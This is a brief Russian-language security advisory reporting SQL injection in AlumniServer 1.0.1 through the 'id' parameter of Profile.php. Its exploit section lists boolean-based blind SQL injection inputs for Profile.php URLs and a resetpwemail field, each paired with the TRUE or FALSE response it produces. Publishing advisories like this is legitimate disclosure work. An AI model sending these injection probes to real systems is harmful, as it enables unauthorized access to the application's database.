Программа: AlumniServer 1.0.1

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «id» сценарием Profile.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.

Эксплоит:

resetpwemail=[valid_mail]%27+and+1%3D%270 —> FALSE
resetpwemail=[valid_mail]%27+and+1%3D%271 —> TRUE

http://[HOST]/[PATH]/Profile.php?id=[valid_id]%27+AND+1=0%23 —>FALSE
http://[HOST]/[PATH]/Profile.php?id=[valid_id]%27+AND+1=1%23 —>TRUE



Оставить мнение